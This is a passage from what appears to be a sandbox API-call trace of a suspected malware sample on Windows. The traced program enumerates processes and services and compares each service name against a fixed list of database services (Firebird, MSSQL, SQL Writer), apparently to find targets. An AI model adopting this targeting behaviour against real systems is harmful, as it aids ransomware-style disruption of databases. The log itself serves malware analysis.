(lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0280.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0280.460] lstrlenW (lpString="RpcEptMapper") returned 12 [0280.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0280.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0280.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0280.460] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0280.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0280.460] lstrlenW (lpString="RpcSs") returned 5 [0280.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0280.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0280.460] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0280.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0280.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0280.461] lstrlenW (lpString="SamSs") returned 5 [0280.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0280.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0280.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0280.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0280.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0280.461] lstrlenW (lpString="Schedule") returned 8 [0280.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0280.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0280.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0280.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0280.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0280.461] lstrlenW (lpString="SecurityHealthService") returned 21 [0280.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0280.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0280.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0280.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0280.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0280.461] lstrlenW (lpString="SENS") returned 4 [0280.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0280.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0280.461] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0280.461] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0280.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0280.461] lstrlenW (lpString="ShellHWDetection") returned 16 [0280.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0280.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0280.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0280.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0280.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0280.461] lstrlenW (lpString="Spooler") returned 7 [0280.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0280.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0280.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0280.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0280.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0280.462] lstrlenW (lpString="SSDPSRV") returned 7 [0280.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0280.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0280.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0280.497] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0280.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0280.497] lstrlenW (lpString="StateRepository") returned 15 [0280.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0280.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0280.497] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0280.497] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0280.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0280.497] lstrlenW (lpString="SysMain") returned 7 [0280.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0280.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0280.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0280.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0280.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0280.498] lstrlenW (lpString="SystemEventsBroker") returned 18 [0280.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0280.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0280.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0280.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0280.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0280.498] lstrlenW (lpString="Themes") returned 6 [0280.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0280.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0280.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0280.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0280.498] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d5978 | out: hHeap=0x6e0000) returned 1 [0280.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b4 [0280.502] Process32FirstW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.502] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.503] lstrlenW (lpString="System") returned 6 [0280.503] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.504] lstrlenW (lpString="smss.exe") returned 8 [0280.504] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.504] lstrlenW (lpString="csrss.exe") returned 9 [0280.505] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.505] lstrlenW (lpString="wininit.exe") returned 11 [0280.505] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.506] lstrlenW (lpString="csrss.exe") returned 9 [0280.506] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.507] lstrlenW (lpString="winlogon.exe") returned 12 [0280.507] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.508] lstrlenW (lpString="services.exe") returned 12 [0280.508] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.509] lstrlenW (lpString="lsass.exe") returned 9 [0280.509] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0280.510] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0280.510] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0280.510] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0280.511] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.511] lstrlenW (lpString="svchost.exe") returned 11 [0280.511] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.512] lstrlenW (lpString="svchost.exe") returned 11 [0280.512] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.513] lstrlenW (lpString="dwm.exe") returned 7 [0280.513] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.514] lstrlenW (lpString="svchost.exe") returned 11 [0280.514] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.515] lstrlenW (lpString="svchost.exe") returned 11 [0280.515] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.515] lstrlenW (lpString="svchost.exe") returned 11 [0280.515] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.516] lstrlenW (lpString="svchost.exe") returned 11 [0280.516] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.517] lstrlenW (lpString="svchost.exe") returned 11 [0280.517] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.517] lstrlenW (lpString="svchost.exe") returned 11 [0280.518] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.518] lstrlenW (lpString="svchost.exe") returned 11 [0280.518] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.519] lstrlenW (lpString="svchost.exe") returned 11 [0280.519] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.520] lstrlenW (lpString="svchost.exe") returned 11 [0280.520] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.520] lstrlenW (lpString="svchost.exe") returned 11 [0280.520] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.521] lstrlenW (lpString="spoolsv.exe") returned 11 [0280.521] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0280.522] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0280.522] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0280.522] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0280.522] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0280.523] lstrlenW (lpString="Memory Compression") returned 18 [0280.523] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.524] lstrlenW (lpString="svchost.exe") returned 11 [0280.524] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.524] lstrlenW (lpString="audiodg.exe") returned 11 [0280.524] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0280.525] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0280.525] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.526] lstrlenW (lpString="sihost.exe") returned 10 [0280.526] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.526] lstrlenW (lpString="svchost.exe") returned 11 [0280.526] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.527] lstrlenW (lpString="taskhostw.exe") returned 13 [0280.527] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0280.528] lstrlenW (lpString="msoia.exe") returned 9 [0280.528] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.529] lstrlenW (lpString="explorer.exe") returned 12 [0280.529] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.530] lstrlenW (lpString="SearchUI.exe") returned 12 [0280.530] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.530] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0280.530] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.531] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0280.531] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0280.532] lstrlenW (lpString="1csrss.exe") returned 10 [0280.532] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.532] lstrlenW (lpString="svchost.exe") returned 11 [0280.532] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0280.533] lstrlenW (lpString="cmd.exe") returned 7 [0280.533] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0280.534] lstrlenW (lpString="conhost.exe") returned 11 [0280.534] Process32NextW (in: hSnapshot=0x4b4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0280.608] CloseHandle (hObject=0x4b4) returned 1 [0280.608] Sleep (dwMilliseconds=0x1f4) [0281.117] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddd18 [0281.117] EnumServicesStatusExW (in: hSCManager=0x7ddd18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0281.117] GetLastError () returned 0xea [0281.117] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7d5978 [0281.117] EnumServicesStatusExW (in: hSCManager=0x7ddd18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7d5978, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7d5978, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0281.118] CloseServiceHandle (hSCObject=0x7ddd18) returned 1 [0281.119] lstrlenW (lpString="AppXSvc") returned 7 [0281.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0281.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0281.119] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0281.119] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0281.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0281.119] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0281.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.119] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0281.119] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0281.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0281.119] lstrlenW (lpString="Audiosrv") returned 8 [0281.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0281.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0281.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0281.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0281.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0281.119] lstrlenW (lpString="BFE") returned 3 [0281.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0281.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0281.119] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0281.119] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0281.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0281.119] lstrlenW (lpString="BITS") returned 4 [0281.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0281.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0281.120] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0281.120] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0281.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0281.120] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0281.120] lstrcmpiW 